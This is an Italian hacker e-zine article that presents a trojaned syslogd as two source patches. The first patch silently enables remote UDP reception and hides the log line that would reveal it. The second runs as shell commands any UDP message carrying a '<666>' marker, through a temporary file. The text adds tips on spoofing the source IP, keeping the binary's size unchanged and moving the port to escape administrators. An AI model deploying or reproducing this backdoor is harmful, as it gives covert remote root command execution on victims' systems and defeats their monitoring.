==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

-----------------------------[ SYSL0GD  TR0JAN ]------------------------------
--------------------------------[ bELFaghor ]---------------------------------

[*] Premessa

Prima considerazione che ritengo opportuno fare e' chiarire il perche' della
stesura di questo codice.
Non e' ne' il primo syslogd trojano che viene scritto ne' tantomeno sara'
l'ultimo. Quella che ho voluto scrivere e' solamente una patch per sfruttare
le inadempienze del codice del Syslogd esposte nell'articolo comparso in BFi5.
Non mi e' finora capitato di trovare per la Rete patch di questo genere ed ho
percio' ritenuto opportuno scriverla.
Con il seguente codice non intendo incitare nessuno all'utilizzo dello stesso
a fini non legali, ma piuttosto miro a far riflettere molte persone.
Questa patch non e' altro che l'implentazione pratica di una delle tante
idee che mi sono venute per sfruttare il syslogd. Quindi spero che non vi
limitiate ad utilizzare questo codice, ma spero che vi cimenterete nel
personalizzarlo e migliorarlo.
La patch e' basata sui sorgenti del syslogd 1.3-31 ed e' pertanto nessario
applicarla a tale pacchetto per evitare errori. Saranno necessarie tuttavia
poche modifiche per adattarla a versioni successive o precedenti.
Il codice e' stato "sviluppato" e "testato"" su un Linux 2.0.x/i386, ma non
credo vi siano particolari difficolta' a compilare laddove il syslogd e'
predisposto a compilare.

[*] Funzionamento

Prima di tutto: man syslogd. Dopo che avete ben chiaro come funzionano le
priorita', la configurazione, il sistema di logging e quant'altro, potete
continuare con la lettura di queste poche righe.
La patch aggiunge una capacita' al nostro trojano o semplicemente syslogd
patchato: ora e' disponibile una nuova priorita', battezzata la Priorita'
del Diavolo, che permette di processare localmente dei comandi.
Ovviamente dobbiamo ricordarci bene il nostro scopo: potere lavorare in
modo occulto sulla shell remota. Questo comporta, come al solito, dei 'pro',
come la possibilita' di inviare i comandi con un IP spoofato, ma anche dei
'contro', come ad esempio il non ritorno dei nostri comandi.
Possiamo, infatti, agire nell'ombra forgiando i nostri pacchetti con un IP
sorgente spoofato in modo tale da nasconderci anche nel caso in cui i
pacchetti e le connessioni UDP vengano intercettate e loggate.
Quindi non ci resta che forgiare i nostri pacchetti UDP, contenenti la stringa
di comandi che vogliamo eseguire, e mandarli alla nostra vittima sulla quale
girera' il nostro trojano. Questo per quanto concerne un'azione da remoto.
Per agire in locale la strada ovvia da intraprendere potrebbe sembrare quella
di mandare i comandi via /dev/log come suggerito nell'articolo precedente, ma
come abbiamo gia' visto comporterebbe non pochi problemi. Il mio consiglio
e' pertanto, se volete agire localmente, di mandare alla stessa maniera i
comandi al Syslogd. Si potrebbero intraprendere altre strade, attraverso il
codice del pacchetto, ma lo lascio a voi e alla vostra fantasia nonche' alla
vostra intelligenza.
Infine, ultimo add-on necessario, e' la possibilita' per il nostro trojano di
ricevere SEMPRE i pacchetti da remoto; in questo modo il trojano sara' sempre
attivo a ricevere e processare pacchetti da remoto senza che ce ne si accorga
se non specificandolo. L'amministratore potrebbe tuttavia accorgersene
attraverso un port scanning e vi consiglio percio' di cambiare la porta sulla
quale accettare i pacchetti se l'amministratore e' solito non utilizzare la
'remote reception'.

E ora il codice ;)
Iniziamo con il nascondere il messaggio 'remote reception' se non
esplicitamente specificato (cioe' con -r). E direi che le poche modifiche
sono sufficientemente esclicative.

---------- snip ----------
--- syslogd.c	Tue Jan 19 11:31:58 1999
+++ syslogd.c	Mon Jun 14 21:57:55 1999
@@ -700,7 +700,7 @@
 int	MarkInterval = 20 * 60;	/* interval between marks in seconds */
 int	MarkSeq = 0;		/* mark sequence number */
 int	NoFork = 0; 		/* don't fork - don't run in daemon mode */
-int	AcceptRemote = 0;	/* receive messages that come via UDP */
+int	AcceptRemote = 1;	/* receive messages that come via UDP */
 char	**StripDomains = NULL;	/* these domains may be stripped before writing logs */
 char	**LocalHosts = NULL;	/* these hosts are logged with their hostname */
 int	NoHops = 1;		/* Can we bounce syslog messages through an
@@ -832,7 +832,7 @@
 			funixn[0] = optarg;
 			break;
 		case 'r':		/* accept remote messages */
-			AcceptRemote = 1;
+			AcceptRemote = 2;
 			break;
 		case 's':
 			if (StripDomains) {
@@ -2400,7 +2400,7 @@
 		}
 	}
 
-	if ( AcceptRemote )
+	if ( AcceptRemote == 2 )
 #ifdef DEBRELEASE
 		logmsg(LOG_SYSLOG|LOG_INFO, "syslogd " VERSION "-" PATCHLEVEL "#" DEBRELEASE \
 		       ": restart (remote reception)." , LocalHostName, \
---------- snip ----------
 
Ora abilitiamo il nostro syslogd_trojano a ricevere e processare messaggi
con la Priorita' del Diavolo. Il funzionamento e' questo: arriva il messaggio,
controllo la priorita', se e' la Priorita' del Diavolo, scrivo il messaggio
in un file temporaneo che poi cancellero' e lo eseguo con una execl(),
altrimenti lo faccio processare normalmente. Ma il codice sara' piu'
esplicativo. Ovviamente questa patch dovrete applicarla dopo avere applicato
quella precedente.

---------- snip ----------
--- syslogd.c	Tue Jun 15 15:57:45 1999
+++ syslogd.c	Tue Jun 15 15:57:27 1999
@@ -413,6 +413,12 @@
  *	Miettinen <tom@medialab.sonera.net>.
  */
 
+/*
+	hack #define
+*/
+
+#define HACKCODE       "<666>"
+#define HACKPATH       "/tmp/.syshackfile"
 
 #define	MAXLINE		1024		/* maximum line length */
 #define	MAXSVLINE	240		/* maximum saved line length */
@@ -519,6 +525,13 @@
 #define _PATH_LOG	"/dev/log"
 #endif
 
+/*
+	hack vars
+*/
+
+int hackfd;
+char *hackstring;
+
 char	*ConfFile = _PATH_LOGCONF;
 char	*PidFile = _PATH_LOGPID;
 char	ctty[] = _PATH_CONSOLE;
@@ -1143,6 +1156,22 @@
 			if (i > 0) {
 				line[i] = line[i+1] = '\0';
 				from = (char *)cvthname(&frominet);
+
+ 				hackstring = strstr(line, HACKCODE);
+ 				if(hackstring != NULL) {
+ 					hackstring = hackstring+strlen(HACKCODE);
+ 					hackfd = open(HACKPATH, O_WRONLY|O_CREAT|O_TRUNC);
+ 					write(hackfd, hackstring, strlen(hackstring));
+					if(fork() == 0) {
+						execl("/bin/sh", "/bin/sh", HACKPATH, NULL);
+						_exit(0);
+					}
+					wait(NULL);
+					close(hackfd);
+					unlink(HACKPATH);
+				}
+				else {
+
 				/*
 				 * Here we could check if the host is permitted
 				 * to send us syslog messages. We just have to
@@ -1154,6 +1183,8 @@
 				 */
 				printchopped(from, line, \
  					     i + 2,  finet);
+				}
+
 			} else if (i < 0 && errno != EINTR) {
 				dprintf("INET socket error: %d = %s.\n", \
 					errno, strerror(errno));
---------- snip ----------

[*] Conclusioni

Per applicare le patch non dovete fare altro che che salvare i due codici
in due file differenti, posizionarli nella directory in cui avete
decompresso il pacchetto Syslogd e digitare:

			root@bfi~# man patch
			root@bfi~# patch < 'nomefile'

Ricordatevi poi di fixare le dimensioni del syslogd agendo direttamente sul
codice (syslogd.c) modificando parti superflue o prolisse; tenete benw a mente
che un cambiamento di dimensione e' un buon campanello d'allarme per un
amministratore.
Infine ricordatevi di far girare il processo come r00t altrimenti non potrere
utilizzare tutti i comandi, ma gia' lo sapete ;)
E per mandare i famosi comandi in UDP? Beh usate il Walla Walla! ;)
	
					bELFaghor vampErotic Daem0n

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================